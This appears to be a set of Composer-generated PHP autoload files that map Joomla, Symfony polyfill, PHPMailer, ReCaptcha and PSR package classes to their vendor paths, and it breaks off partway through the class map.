$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname(dirname($vendorDir));

return array(
    '2fb9d6f23c8e8faefc193a4cde0cab4f' => $vendorDir .
'/joomla/string/src/phputf8/utf8.php',
    'e6851e0ae7328fe5412fcec73928f3d9' => $vendorDir .
'/joomla/string/src/phputf8/ord.php',
    'd9ad1b7c85c100a18c404a13824b846e' => $vendorDir .
'/joomla/string/src/phputf8/str_ireplace.php',
    '62bad9b6730d2f83493d2337bf61519d' => $vendorDir .
'/joomla/string/src/phputf8/str_pad.php',
    'c4d521b8d54308532dce032713d4eec0' => $vendorDir .
'/joomla/string/src/phputf8/str_split.php',
    'fa973e71cace925de2afdc692b861b1d' => $vendorDir .
'/joomla/string/src/phputf8/strcasecmp.php',
    '0c98c2f1295d9f4d093cc77d5834bb04' => $vendorDir .
'/joomla/string/src/phputf8/strcspn.php',
    'a52639d843b4094945115c178a91ca86' => $vendorDir .
'/joomla/string/src/phputf8/stristr.php',
    '73ee7d0297e683c4c2e7798ef040fb2f' => $vendorDir .
'/joomla/string/src/phputf8/strrev.php',
    'd55633c05ddb996e0005f35debaa7b5b' => $vendorDir .
'/joomla/string/src/phputf8/strspn.php',
    '944e69d23b93558fc0714353cf0c8beb' => $vendorDir .
'/joomla/string/src/phputf8/trim.php',
    '31264bab20f14a8fc7a9d4265d91ee98' => $vendorDir .
'/joomla/string/src/phputf8/ucfirst.php',
    '05d739a990f75f0c44ebe1f032b33148' => $vendorDir .
'/joomla/string/src/phputf8/ucwords.php',
    '4292e2fa66516089e6006723267587b4' => $vendorDir .
'/joomla/string/src/phputf8/utils/ascii.php',
    '87465e33b7551b401bf051928f220e9a' => $vendorDir .
'/joomla/string/src/phputf8/utils/validation.php',
    '320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir .
'/symfony/polyfill-ctype/bootstrap.php',
    'e40631d46120a9c38ea139981f8dab26' => $vendorDir .
'/ircmaxell/password-compat/lib/password.php',
    '5255c38a0faeba867671b61dfda6d864' => $vendorDir .
'/paragonie/random_compat/lib/random.php',
    'edc6464955a37aa4d5fbf39d40fb6ee7' => $vendorDir .
'/symfony/polyfill-php55/bootstrap.php',
    'bd9634f2d41831496de0d3dfe4c94881' => $vendorDir .
'/symfony/polyfill-php56/bootstrap.php',
    '3109cb1a231dcd04bee1f9f620d46975' => $vendorDir .
'/paragonie/sodium_compat/autoload.php',
    'e277be14c90068cf94faed2c43dbe6d8' => $vendorDir .
'/symfony/polyfill-php71/bootstrap.php',
    '0d59ee240a4cd96ddbb4ff164fccea4d' => $vendorDir .
'/symfony/polyfill-php73/bootstrap.php',
);
<?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname(dirname($vendorDir));

return array(
    'SimplePie' => array($vendorDir .
'/simplepie/simplepie/library'),
    'Joomla\\Session' => array($vendorDir .
'/joomla/session'),
);
<?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname(dirname($vendorDir));

return array(
    'TYPO3\\PharStreamWrapper\\' => array($vendorDir .
'/typo3/phar-stream-wrapper/src'),
    'Symfony\\Polyfill\\Util\\' => array($vendorDir .
'/symfony/polyfill-util'),
    'Symfony\\Polyfill\\Php73\\' => array($vendorDir .
'/symfony/polyfill-php73'),
    'Symfony\\Polyfill\\Php71\\' => array($vendorDir .
'/symfony/polyfill-php71'),
    'Symfony\\Polyfill\\Php56\\' => array($vendorDir .
'/symfony/polyfill-php56'),
    'Symfony\\Polyfill\\Php55\\' => array($vendorDir .
'/symfony/polyfill-php55'),
    'Symfony\\Polyfill\\Ctype\\' => array($vendorDir .
'/symfony/polyfill-ctype'),
    'Symfony\\Component\\Yaml\\' => array($vendorDir .
'/symfony/yaml'),
    'ReCaptcha\\' => array($vendorDir .
'/google/recaptcha/src/ReCaptcha'),
    'Psr\\Log\\' => array($vendorDir .
'/psr/log/Psr/Log'),
    'Psr\\Container\\' => array($vendorDir .
'/psr/container/src'),
    'Joomla\\Utilities\\' => array($vendorDir .
'/joomla/utilities/src'),
    'Joomla\\Uri\\' => array($vendorDir .
'/joomla/uri/src'),
    'Joomla\\String\\' => array($vendorDir .
'/joomla/string/src'),
    'Joomla\\Registry\\' => array($vendorDir .
'/joomla/registry/src'),
    'Joomla\\Ldap\\' => array($vendorDir .
'/joomla/ldap/src'),
    'Joomla\\Input\\' => array($vendorDir .
'/joomla/input/src'),
    'Joomla\\Image\\' => array($vendorDir .
'/joomla/image/src'),
    'Joomla\\Filter\\' => array($vendorDir .
'/joomla/filter/src'),
    'Joomla\\Filesystem\\' => array($vendorDir .
'/joomla/filesystem/src'),
    'Joomla\\Event\\' => array($vendorDir .
'/joomla/event/src'),
    'Joomla\\Data\\Tests\\' => array($vendorDir .
'/joomla/data/Tests'),
    'Joomla\\Data\\' => array($vendorDir .
'/joomla/data/src'),
    'Joomla\\DI\\' => array($vendorDir .
'/joomla/di/src'),
    'Joomla\\Archive\\' => array($vendorDir .
'/joomla/archive/src'),
    'Joomla\\Application\\' => array($vendorDir .
'/joomla/application/src'),
    'Brumann\\Polyfill\\' => array($vendorDir .
'/brumann/polyfill-unserialize/src'),
);
<?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit205c915b9c7d3e718e7c95793ee67ffe
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    /**
     * @return \Composer\Autoload\ClassLoader
     */
    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

       
spl_autoload_register(array('ComposerAutoloaderInit205c915b9c7d3e718e7c95793ee67ffe',
'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader();
       
spl_autoload_unregister(array('ComposerAutoloaderInit205c915b9c7d3e718e7c95793ee67ffe',
'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 &&
!defined('HHVM_VERSION') &&
(!function_exists('zend_loader_file_encoded') ||
!zend_loader_file_encoded());
        if ($useStaticLoader) {
            require_once __DIR__ . '/autoload_static.php';

           
call_user_func(\Composer\Autoload\ComposerStaticInit205c915b9c7d3e718e7c95793ee67ffe::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ .
'/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        if ($useStaticLoader) {
            $includeFiles =
Composer\Autoload\ComposerStaticInit205c915b9c7d3e718e7c95793ee67ffe::$files;
        } else {
            $includeFiles = require __DIR__ .
'/autoload_files.php';
        }
        foreach ($includeFiles as $fileIdentifier => $file) {
           
composerRequire205c915b9c7d3e718e7c95793ee67ffe($fileIdentifier, $file);
        }

        return $loader;
    }
}

function composerRequire205c915b9c7d3e718e7c95793ee67ffe($fileIdentifier,
$file)
{
    if
(empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
        require $file;

        $GLOBALS['__composer_autoload_files'][$fileIdentifier] =
true;
    }
}
<?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit205c915b9c7d3e718e7c95793ee67ffe
{
    public static $files = array (
        '2fb9d6f23c8e8faefc193a4cde0cab4f' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/utf8.php',
        'e6851e0ae7328fe5412fcec73928f3d9' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/ord.php',
        'd9ad1b7c85c100a18c404a13824b846e' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/str_ireplace.php',
        '62bad9b6730d2f83493d2337bf61519d' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/str_pad.php',
        'c4d521b8d54308532dce032713d4eec0' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/str_split.php',
        'fa973e71cace925de2afdc692b861b1d' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/strcasecmp.php',
        '0c98c2f1295d9f4d093cc77d5834bb04' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/strcspn.php',
        'a52639d843b4094945115c178a91ca86' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/stristr.php',
        '73ee7d0297e683c4c2e7798ef040fb2f' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/strrev.php',
        'd55633c05ddb996e0005f35debaa7b5b' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/strspn.php',
        '944e69d23b93558fc0714353cf0c8beb' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/trim.php',
        '31264bab20f14a8fc7a9d4265d91ee98' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/ucfirst.php',
        '05d739a990f75f0c44ebe1f032b33148' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/ucwords.php',
        '4292e2fa66516089e6006723267587b4' => __DIR__ .
'/..' . '/joomla/string/src/phputf8/utils/ascii.php',
        '87465e33b7551b401bf051928f220e9a' => __DIR__ .
'/..' .
'/joomla/string/src/phputf8/utils/validation.php',
        '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ .
'/..' . '/symfony/polyfill-ctype/bootstrap.php',
        'e40631d46120a9c38ea139981f8dab26' => __DIR__ .
'/..' . '/ircmaxell/password-compat/lib/password.php',
        '5255c38a0faeba867671b61dfda6d864' => __DIR__ .
'/..' . '/paragonie/random_compat/lib/random.php',
        'edc6464955a37aa4d5fbf39d40fb6ee7' => __DIR__ .
'/..' . '/symfony/polyfill-php55/bootstrap.php',
        'bd9634f2d41831496de0d3dfe4c94881' => __DIR__ .
'/..' . '/symfony/polyfill-php56/bootstrap.php',
        '3109cb1a231dcd04bee1f9f620d46975' => __DIR__ .
'/..' . '/paragonie/sodium_compat/autoload.php',
        'e277be14c90068cf94faed2c43dbe6d8' => __DIR__ .
'/..' . '/symfony/polyfill-php71/bootstrap.php',
        '0d59ee240a4cd96ddbb4ff164fccea4d' => __DIR__ .
'/..' . '/symfony/polyfill-php73/bootstrap.php',
    );

    public static $prefixLengthsPsr4 = array (
        'T' => 
        array (
            'TYPO3\\PharStreamWrapper\\' => 24,
        ),
        'S' => 
        array (
            'Symfony\\Polyfill\\Util\\' => 22,
            'Symfony\\Polyfill\\Php73\\' => 23,
            'Symfony\\Polyfill\\Php71\\' => 23,
            'Symfony\\Polyfill\\Php56\\' => 23,
            'Symfony\\Polyfill\\Php55\\' => 23,
            'Symfony\\Polyfill\\Ctype\\' => 23,
            'Symfony\\Component\\Yaml\\' => 23,
        ),
        'R' => 
        array (
            'ReCaptcha\\' => 10,
        ),
        'P' => 
        array (
            'Psr\\Log\\' => 8,
            'Psr\\Container\\' => 14,
        ),
        'J' => 
        array (
            'Joomla\\Utilities\\' => 17,
            'Joomla\\Uri\\' => 11,
            'Joomla\\String\\' => 14,
            'Joomla\\Registry\\' => 16,
            'Joomla\\Ldap\\' => 12,
            'Joomla\\Input\\' => 13,
            'Joomla\\Image\\' => 13,
            'Joomla\\Filter\\' => 14,
            'Joomla\\Filesystem\\' => 18,
            'Joomla\\Event\\' => 13,
            'Joomla\\Data\\Tests\\' => 18,
            'Joomla\\Data\\' => 12,
            'Joomla\\DI\\' => 10,
            'Joomla\\Archive\\' => 15,
            'Joomla\\Application\\' => 19,
        ),
        'B' => 
        array (
            'Brumann\\Polyfill\\' => 17,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'TYPO3\\PharStreamWrapper\\' => 
        array (
            0 => __DIR__ . '/..' .
'/typo3/phar-stream-wrapper/src',
        ),
        'Symfony\\Polyfill\\Util\\' => 
        array (
            0 => __DIR__ . '/..' .
'/symfony/polyfill-util',
        ),
        'Symfony\\Polyfill\\Php73\\' => 
        array (
            0 => __DIR__ . '/..' .
'/symfony/polyfill-php73',
        ),
        'Symfony\\Polyfill\\Php71\\' => 
        array (
            0 => __DIR__ . '/..' .
'/symfony/polyfill-php71',
        ),
        'Symfony\\Polyfill\\Php56\\' => 
        array (
            0 => __DIR__ . '/..' .
'/symfony/polyfill-php56',
        ),
        'Symfony\\Polyfill\\Php55\\' => 
        array (
            0 => __DIR__ . '/..' .
'/symfony/polyfill-php55',
        ),
        'Symfony\\Polyfill\\Ctype\\' => 
        array (
            0 => __DIR__ . '/..' .
'/symfony/polyfill-ctype',
        ),
        'Symfony\\Component\\Yaml\\' => 
        array (
            0 => __DIR__ . '/..' . '/symfony/yaml',
        ),
        'ReCaptcha\\' => 
        array (
            0 => __DIR__ . '/..' .
'/google/recaptcha/src/ReCaptcha',
        ),
        'Psr\\Log\\' => 
        array (
            0 => __DIR__ . '/..' .
'/psr/log/Psr/Log',
        ),
        'Psr\\Container\\' => 
        array (
            0 => __DIR__ . '/..' .
'/psr/container/src',
        ),
        'Joomla\\Utilities\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/utilities/src',
        ),
        'Joomla\\Uri\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/uri/src',
        ),
        'Joomla\\String\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/string/src',
        ),
        'Joomla\\Registry\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/registry/src',
        ),
        'Joomla\\Ldap\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/ldap/src',
        ),
        'Joomla\\Input\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/input/src',
        ),
        'Joomla\\Image\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/image/src',
        ),
        'Joomla\\Filter\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/filter/src',
        ),
        'Joomla\\Filesystem\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/filesystem/src',
        ),
        'Joomla\\Event\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/event/src',
        ),
        'Joomla\\Data\\Tests\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/data/Tests',
        ),
        'Joomla\\Data\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/data/src',
        ),
        'Joomla\\DI\\' => 
        array (
            0 => __DIR__ . '/..' . '/joomla/di/src',
        ),
        'Joomla\\Archive\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/archive/src',
        ),
        'Joomla\\Application\\' => 
        array (
            0 => __DIR__ . '/..' .
'/joomla/application/src',
        ),
        'Brumann\\Polyfill\\' => 
        array (
            0 => __DIR__ . '/..' .
'/brumann/polyfill-unserialize/src',
        ),
    );

    public static $prefixesPsr0 = array (
        'S' => 
        array (
            'SimplePie' => 
            array (
                0 => __DIR__ . '/..' .
'/simplepie/simplepie/library',
            ),
        ),
        'J' => 
        array (
            'Joomla\\Session' => 
            array (
                0 => __DIR__ . '/..' .
'/joomla/session',
            ),
        ),
    );

    public static $classMap = array (
        'Brumann\\Polyfill\\DisallowedClassesSubstitutor' =>
__DIR__ . '/..' .
'/brumann/polyfill-unserialize/src/DisallowedClassesSubstitutor.php',
        'Brumann\\Polyfill\\Unserialize' => __DIR__ .
'/..' .
'/brumann/polyfill-unserialize/src/Unserialize.php',
        'CallbackFilterIterator' => __DIR__ . '/..'
. '/joomla/compat/src/CallbackFilterIterator.php',
        'EasyPeasyICS' => __DIR__ . '/..' .
'/phpmailer/phpmailer/extras/EasyPeasyICS.php',
        'Joomla\\Application\\AbstractApplication' => __DIR__
. '/..' .
'/joomla/application/src/AbstractApplication.php',
        'Joomla\\Application\\AbstractCliApplication' =>
__DIR__ . '/..' .
'/joomla/application/src/AbstractCliApplication.php',
        'Joomla\\Application\\AbstractDaemonApplication' =>
__DIR__ . '/..' .
'/joomla/application/src/AbstractDaemonApplication.php',
        'Joomla\\Application\\AbstractWebApplication' =>
__DIR__ . '/..' .
'/joomla/application/src/AbstractWebApplication.php',
        'Joomla\\Application\\Cli\\CliInput' => __DIR__ .
'/..' . '/joomla/application/src/Cli/CliInput.php',
        'Joomla\\Application\\Cli\\CliOutput' => __DIR__ .
'/..' . '/joomla/application/src/Cli/CliOutput.php',
        'Joomla\\Application\\Cli\\ColorProcessor' => __DIR__
. '/..' .
'/joomla/application/src/Cli/ColorProcessor.php',
        'Joomla\\Application\\Cli\\ColorStyle' => __DIR__ .
'/..' . '/joomla/application/src/Cli/ColorStyle.php',
       
'Joomla\\Application\\Cli\\Output\\Processor\\ColorProcessor'
=> __DIR__ . '/..' .
'/joomla/application/src/Cli/Output/Processor/ColorProcessor.php',
       
'Joomla\\Application\\Cli\\Output\\Processor\\ProcessorInterface'
=> __DIR__ . '/..' .
'/joomla/application/src/Cli/Output/Processor/ProcessorInterface.php',
        'Joomla\\Application\\Cli\\Output\\Stdout' => __DIR__
. '/..' .
'/joomla/application/src/Cli/Output/Stdout.php',
        'Joomla\\Application\\Cli\\Output\\Xml' => __DIR__ .
'/..' . '/joomla/application/src/Cli/Output/Xml.php',
        'Joomla\\Application\\Web\\WebClient' => __DIR__ .
'/..' . '/joomla/application/src/Web/WebClient.php',
        'Joomla\\Archive\\Archive' => __DIR__ .
'/..' . '/joomla/archive/src/Archive.php',
        'Joomla\\Archive\\Bzip2' => __DIR__ . '/..'
. '/joomla/archive/src/Bzip2.php',
        'Joomla\\Archive\\Exception\\UnknownArchiveException'
=> __DIR__ . '/..' .
'/joomla/archive/src/Exception/UnknownArchiveException.php',
        'Joomla\\Archive\\Exception\\UnsupportedArchiveException'
=> __DIR__ . '/..' .
'/joomla/archive/src/Exception/UnsupportedArchiveException.php',
        'Joomla\\Archive\\ExtractableInterface' => __DIR__ .
'/..' . '/joomla/archive/src/ExtractableInterface.php',
        'Joomla\\Archive\\Gzip' => __DIR__ . '/..' .
'/joomla/archive/src/Gzip.php',
        'Joomla\\Archive\\Tar' => __DIR__ . '/..' .
'/joomla/archive/src/Tar.php',
        'Joomla\\Archive\\Zip' => __DIR__ . '/..' .
'/joomla/archive/src/Zip.php',
        'Joomla\\DI\\Container' => __DIR__ . '/..' .
'/joomla/di/src/Container.php',
        'Joomla\\DI\\ContainerAwareInterface' => __DIR__ .
'/..' . '/joomla/di/src/ContainerAwareInterface.php',
        'Joomla\\DI\\ContainerAwareTrait' => __DIR__ .
'/..' . '/joomla/di/src/ContainerAwareTrait.php',
        'Joomla\\DI\\Exception\\DependencyResolutionException'
=> __DIR__ . '/..' .
'/joomla/di/src/Exception/DependencyResolutionException.php',
        'Joomla\\DI\\Exception\\KeyNotFoundException' =>
__DIR__ . '/..' .
'/joomla/di/src/Exception/KeyNotFoundException.php',
        'Joomla\\DI\\Exception\\ProtectedKeyException' =>
__DIR__ . '/..' .
'/joomla/di/src/Exception/ProtectedKeyException.php',
        'Joomla\\DI\\ServiceProviderInterface' => __DIR__ .
'/..' . '/joomla/di/src/ServiceProviderInterface.php',
        'Joomla\\Data\\DataObject' => __DIR__ .
'/..' . '/joomla/data/src/DataObject.php',
        'Joomla\\Data\\DataSet' => __DIR__ . '/..' .
'/joomla/data/src/DataSet.php',
        'Joomla\\Data\\DumpableInterface' => __DIR__ .
'/..' . '/joomla/data/src/DumpableInterface.php',
        'Joomla\\Event\\AbstractEvent' => __DIR__ .
'/..' . '/joomla/event/src/AbstractEvent.php',
        'Joomla\\Event\\DelegatingDispatcher' => __DIR__ .
'/..' . '/joomla/event/src/DelegatingDispatcher.php',
        'Joomla\\Event\\Dispatcher' => __DIR__ .
'/..' . '/joomla/event/src/Dispatcher.php',
        'Joomla\\Event\\DispatcherAwareInterface' => __DIR__ .
'/..' .
'/joomla/event/src/DispatcherAwareInterface.php',
        'Joomla\\Event\\DispatcherAwareTrait' => __DIR__ .
'/..' . '/joomla/event/src/DispatcherAwareTrait.php',
        'Joomla\\Event\\DispatcherInterface' => __DIR__ .
'/..' . '/joomla/event/src/DispatcherInterface.php',
        'Joomla\\Event\\Event' => __DIR__ . '/..' .
'/joomla/event/src/Event.php',
        'Joomla\\Event\\EventImmutable' => __DIR__ .
'/..' . '/joomla/event/src/EventImmutable.php',
        'Joomla\\Event\\EventInterface' => __DIR__ .
'/..' . '/joomla/event/src/EventInterface.php',
        'Joomla\\Event\\ListenersPriorityQueue' => __DIR__ .
'/..' . '/joomla/event/src/ListenersPriorityQueue.php',
        'Joomla\\Event\\Priority' => __DIR__ . '/..'
. '/joomla/event/src/Priority.php',
        'Joomla\\Filesystem\\Buffer' => __DIR__ .
'/..' . '/joomla/filesystem/src/Buffer.php',
        'Joomla\\Filesystem\\Clients\\FtpClient' => __DIR__ .
'/..' . '/joomla/filesystem/src/Clients/FtpClient.php',
        'Joomla\\Filesystem\\Exception\\FilesystemException'
=> __DIR__ . '/..' .
'/joomla/filesystem/src/Exception/FilesystemException.php',
        'Joomla\\Filesystem\\File' => __DIR__ .
'/..' . '/joomla/filesystem/src/File.php',
        'Joomla\\Filesystem\\Folder' => __DIR__ .
'/..' . '/joomla/filesystem/src/Folder.php',
        'Joomla\\Filesystem\\Helper' => __DIR__ .
'/..' . '/joomla/filesystem/src/Helper.php',
        'Joomla\\Filesystem\\Patcher' => __DIR__ .
'/..' . '/joomla/filesystem/src/Patcher.php',
        'Joomla\\Filesystem\\Path' => __DIR__ .
'/..' . '/joomla/filesystem/src/Path.php',
        'Joomla\\Filesystem\\Stream' => __DIR__ .
'/..' . '/joomla/filesystem/src/Stream.php',
        'Joomla\\Filesystem\\Stream\\String' => __DIR__ .
'/..' . '/joomla/filesystem/src/Stream/String.php',
        'Joomla\\Filesystem\\Stream\\StringWrapper' => __DIR__
. '/..' .
'/joomla/filesystem/src/Stream/StringWrapper.php',
        'Joomla\\Filesystem\\Support\\StringController' =>
__DIR__ . '/..' .
'/joomla/filesystem/src/Support/StringController.php',
        'Joomla\\Filter\\InputFilter' => __DIR__ .
'/..' . '/joomla/filter/src/InputFilter.php',
        'Joomla\\Filter\\OutputFilter' => __DIR__ .
'/..' . '/joomla/filter/src/OutputFilter.php',
        'Joomla\\Image\\Filter\\Backgroundfill' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Backgroundfill.php',
        'Joomla\\Image\\Filter\\Brightness' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Brightness.php',
        'Joomla\\Image\\Filter\\Contrast' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Contrast.php',
        'Joomla\\Image\\Filter\\Edgedetect' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Edgedetect.php',
        'Joomla\\Image\\Filter\\Emboss' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Emboss.php',
        'Joomla\\Image\\Filter\\Grayscale' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Grayscale.php',
        'Joomla\\Image\\Filter\\Negate' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Negate.php',
        'Joomla\\Image\\Filter\\Sketchy' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Sketchy.php',
        'Joomla\\Image\\Filter\\Smooth' => __DIR__ .
'/..' . '/joomla/image/src/Filter/Smooth.php',
        'Joomla\\Image\\Image' => __DIR__ . '/..' .
'/joomla/image/src/Image.php',
        'Joomla\\Image\\ImageFilter' => __DIR__ .
'/..' . '/joomla/image/src/ImageFilter.php',
        'Joomla\\Input\\Cli' => __DIR__ . '/..' .
'/joomla/input/src/Cli.php',
        'Joomla\\Input\\Cookie' => __DIR__ . '/..' .
'/joomla/input/src/Cookie.php',
        'Joomla\\Input\\Files' => __DIR__ . '/..' .
'/joomla/input/src/Files.php',
        'Joomla\\Input\\Input' => __DIR__ . '/..' .
'/joomla/input/src/Input.php',
        'Joomla\\Input\\Json' => __DIR__ . '/..' .
'/joomla/input/src/Json.php',
        'Joomla\\Ldap\\LdapClient' => __DIR__ .
'/..' . '/joomla/ldap/src/LdapClient.php',
        'Joomla\\Registry\\AbstractRegistryFormat' => __DIR__
. '/..' .
'/joomla/registry/src/AbstractRegistryFormat.php',
        'Joomla\\Registry\\Factory' => __DIR__ .
'/..' . '/joomla/registry/src/Factory.php',
        'Joomla\\Registry\\FormatInterface' => __DIR__ .
'/..' . '/joomla/registry/src/FormatInterface.php',
        'Joomla\\Registry\\Format\\Ini' => __DIR__ .
'/..' . '/joomla/registry/src/Format/Ini.php',
        'Joomla\\Registry\\Format\\Json' => __DIR__ .
'/..' . '/joomla/registry/src/Format/Json.php',
        'Joomla\\Registry\\Format\\Php' => __DIR__ .
'/..' . '/joomla/registry/src/Format/Php.php',
        'Joomla\\Registry\\Format\\Xml' => __DIR__ .
'/..' . '/joomla/registry/src/Format/Xml.php',
        'Joomla\\Registry\\Format\\Yaml' => __DIR__ .
'/..' . '/joomla/registry/src/Format/Yaml.php',
        'Joomla\\Registry\\Registry' => __DIR__ .
'/..' . '/joomla/registry/src/Registry.php',
        'Joomla\\Session\\Session' => __DIR__ .
'/..' . '/joomla/session/Joomla/Session/Session.php',
        'Joomla\\Session\\Storage' => __DIR__ .
'/..' . '/joomla/session/Joomla/Session/Storage.php',
        'Joomla\\Session\\Storage\\Apc' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/Apc.php',
        'Joomla\\Session\\Storage\\Apcu' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/Apcu.php',
        'Joomla\\Session\\Storage\\Database' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/Database.php',
        'Joomla\\Session\\Storage\\Memcache' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/Memcache.php',
        'Joomla\\Session\\Storage\\Memcached' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/Memcached.php',
        'Joomla\\Session\\Storage\\None' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/None.php',
        'Joomla\\Session\\Storage\\Wincache' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/Wincache.php',
        'Joomla\\Session\\Storage\\Xcache' => __DIR__ .
'/..' .
'/joomla/session/Joomla/Session/Storage/Xcache.php',
        'Joomla\\String\\Inflector' => __DIR__ .
'/..' . '/joomla/string/src/Inflector.php',
        'Joomla\\String\\Normalise' => __DIR__ .
'/..' . '/joomla/string/src/Normalise.php',
        'Joomla\\String\\String' => __DIR__ . '/..'
. '/joomla/string/src/String.php',
        'Joomla\\String\\StringHelper' => __DIR__ .
'/..' . '/joomla/string/src/StringHelper.php',
        'Joomla\\Uri\\AbstractUri' => __DIR__ .
'/..' . '/joomla/uri/src/AbstractUri.php',
        'Joomla\\Uri\\Uri' => __DIR__ . '/..' .
'/joomla/uri/src/Uri.php',
        'Joomla\\Uri\\UriHelper' => __DIR__ . '/..'
. '/joomla/uri/src/UriHelper.php',
        'Joomla\\Uri\\UriImmutable' => __DIR__ .
'/..' . '/joomla/uri/src/UriImmutable.php',
        'Joomla\\Uri\\UriInterface' => __DIR__ .
'/..' . '/joomla/uri/src/UriInterface.php',
        'Joomla\\Utilities\\ArrayHelper' => __DIR__ .
'/..' . '/joomla/utilities/src/ArrayHelper.php',
        'Joomla\\Utilities\\IpHelper' => __DIR__ .
'/..' . '/joomla/utilities/src/IpHelper.php',
        'JsonException' => __DIR__ . '/..' .
'/symfony/polyfill-php73/Resources/stubs/JsonException.php',
        'JsonSerializable' => __DIR__ . '/..' .
'/joomla/compat/src/JsonSerializable.php',
        'PHPMailer' => __DIR__ . '/..' .
'/phpmailer/phpmailer/class.phpmailer.php',
        'PHPMailerOAuth' => __DIR__ . '/..' .
'/phpmailer/phpmailer/class.phpmaileroauth.php',
        'PHPMailerOAuthGoogle' => __DIR__ . '/..' .
'/phpmailer/phpmailer/class.phpmaileroauthgoogle.php',
        'POP3' => __DIR__ . '/..' .
'/phpmailer/phpmailer/class.pop3.php',
        'Psr\\Container\\ContainerExceptionInterface' =>
__DIR__ . '/..' .
'/psr/container/src/ContainerExceptionInterface.php',
        'Psr\\Container\\ContainerInterface' => __DIR__ .
'/..' . '/psr/container/src/ContainerInterface.php',
        'Psr\\Container\\NotFoundExceptionInterface' =>
__DIR__ . '/..' .
'/psr/container/src/NotFoundExceptionInterface.php',
        'Psr\\Log\\AbstractLogger' => __DIR__ .
'/..' . '/psr/log/Psr/Log/AbstractLogger.php',
        'Psr\\Log\\InvalidArgumentException' => __DIR__ .
'/..' .
'/psr/log/Psr/Log/InvalidArgumentException.php',
        'Psr\\Log\\LogLevel' => __DIR__ . '/..' .
'/psr/log/Psr/Log/LogLevel.php',
        'Psr\\Log\\LoggerAwareInterface' => __DIR__ .
'/..' . '/psr/log/Psr/Log/LoggerAwareInterface.php',
        'Psr\\Log\\LoggerAwareTrait' => __DIR__ .
'/..' . '/psr/log/Psr/Log/LoggerAwareTrait.php',
        'Psr\\Log\\LoggerInterface' => __DIR__ .
'/..' . '/psr/log/Psr/Log/LoggerInterface.php',
        'Psr\\Log\\LoggerTrait' => __DIR__ . '/..' .
'/psr/log/Psr/Log/LoggerTrait.php',
        'Psr\\Log\\NullLogger' => __DIR__ . '/..' .
'/psr/log/Psr/Log/NullLogger.php',
        'ReCaptcha\\ReCaptcha' => __DIR__ . '/..' .
'/google/recaptcha/src/ReCaptcha/ReCaptcha.php',
        'ReCaptcha\\RequestMethod' => __DIR__ .
'/..' .
'/google/recaptcha/src/ReCaptcha/RequestMethod.php',
        'ReCaptcha\\RequestMethod\\Curl' => __DIR__ .
'/..' .
'/google/recaptcha/src/ReCaptcha/RequestMethod/Curl.php',
        'ReCaptcha\\RequestMethod\\CurlPost' => __DIR__ .
'/..' .
'/google/recaptcha/src/ReCaptcha/RequestMethod/CurlPost.php',
        'ReCaptcha\\RequestMethod\\Post' => __DIR__ .
'/..' .
